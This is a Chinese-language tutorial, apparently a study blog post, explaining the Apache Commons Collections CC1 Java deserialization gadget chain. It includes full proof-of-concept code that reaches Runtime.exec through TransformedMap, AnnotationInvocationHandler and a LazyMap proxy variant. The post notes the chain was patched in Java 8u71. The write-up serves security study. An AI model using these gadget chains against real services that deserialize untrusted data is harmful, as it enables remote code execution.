Commons Collections 是一个由 Apache 软件基金会提供的 Java 开源库,扩展了 Java 标准集合框架(java.util
),提供了更多高性能、实用的数据结构、工具类和算法。Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。
本地测试POC
先看POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
|
来梳理POC中的执行逻辑,以及介绍涉及到的类和接口。
涉及的类和接口
Transformer
是Commons Collections提供的一个接口,ConstantTransformer
和InvokerTransformer
是Transformer
接口的实现类。POC中,new了一个Transformer
类型的数组,里面存储的是Transformer
的实现类对象。

ConstantTransformer
:无论输入什么,始终返回预先指定的常量值。在POC中,传入的是Runtime.class
,是一个对象。

Runtime
类可以用来执行系统操作的、管理进程、获取环境变量等。
InvokerTransformer
:通过反射动态调用java对象的方法,可以用来执行任意方法。需要传入三个参数:要调用的方法名,方法的参数类型,方法的具体参数值。后面二者若无则传入null。

简单来说,POC中每个InvokerTransformer
的参数值如下:
1
2
3
|
getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe
|
ChainedTransformer
:接收一组Transformer
对象按序依次执行(上一个的输出作为下一个的输入)。

TransformedMap
的构造方法:构造方法把传入的map
和Transformer
进行赋值。

TransformedMap.decorate
:对Map
进行修饰,被修饰过的Map
在添加新的元素时,将可以执行一个回调操作,传出的outerMap
即是修饰后的Map
:

1
|
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
|
其中,keyTransformer
是处理新元素的Key的回调,valueTransformer
是处理新元素的value的回调。
触发回调操作
transformerChain
只是一系列回调,那么如何触发回调呢?就是往Map
中放⼊一个新的元素:
1
|
outerMap.put("test", "xxxx");
|
运行POC:

总结:触发这个漏洞的核心在于,向Map
加入一个新的元素。
编写实战POC
在实际反序列化漏洞中,我们需要将上面最终生成的outerMap
对象变成⼀个序列化流。在实际反序列化的时候,需要找到一个类,在反序列化的readObject
里有类似的写入操作。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
。在它的readObject
里有类似的写入操作:

核心逻辑就是Map.Entry memberValue : memberValues.entrySet()
和memberValue.setValue(...)
。
- 检查
memberValues
中每个值与其对应的memberType
是否匹配,如果不匹配,则通过AnnotationTypeMismatchExceptionProxy
创建一个新的对象来记录类型不匹配。
memberValues
就是反序列化后得到的Map,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap
里注册的Transform
,进而执行想要执行的命令代码。
AnnotationInvocationHandler
是内部类,实现细节的,本不希望用户调用,因此没法通过new来创建对象。于是使用反射的方法获取其构造方法,并将其设置为外部可见的,再调用就可以实例化了。
1
2
|
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
|
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。
- 第一个参数是要代理的注解的类型,第二个参数是注解成员的值。
- Annotation(注解)是Java中的一种元数据,它以代码的形式存在,并为程序元素(如类、方法、字段等)提供额外的信息。注解本身不是代码,但它们可以被编译器、开发工具和运行时环境读取和处理,以实现诸如代码生成、编译时检查、配置管理等功能。
java.lang.annotation.Retention
是 Java 标准库中一个非常基础的元注解(meta-annotation)。它的作用是指定一个注解的保留策略,即该注解在哪个阶段(源码、编译时、运行时)可用。
- 为什么选择
Retention.class
作为 annotationType
:
- java内置,无需额外依赖,通用性高
- 简单,不带复杂成员,简化构造后续利用
- 在利用
AnnotationInvocationHandler
作为反序列化 gadget 时,目的是触发其内部的某个操作,不是真正去使用这个注解的功能。因此,选择一个无关紧要、但又普遍存在的注解类型是很方便的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package org.example;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
|
在Java 8u71之后,CC1链无法利用,原因是,Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
LazyMap
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
1
|
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
触发点区别:
LazyMap:其get方法中执行的factory.transform
。因为是“懒加载”,get在Map中找不到key的时候,就用factory.transform
获取值后加载到Map中。
TransformedMap:写入元素的时候执行transform
。
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
在ysoserial中,AnnotationInvocationHandler
类的invoke
方法有调用到get。ysoserial作者想到,通过java对象代理的方式进入其中。
首先需要对sun.reflect.annotation.AnnotationInvocationHandler
对象进行代理-proxyMap,但是还不能对其进行序列化,因为入口点在sun.reflect.annotation.AnnotationInvocationHandler#readObject
,还需要用AnnotationInvocationHandler
对这个proxyMap进行包裹
修改POC:
1
2
3
4
5
|
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
|
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
MapEntry.checkSetValue()
TransformedMap.transform()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
注:8u71 已经对 AnnotationInvocationHandler
进行了安全补丁,使得经典的 CC1 反序列化链不再直接有效,其他CC链有绕过AnnotationInvocationHandler
的限制,后续学习。
参考: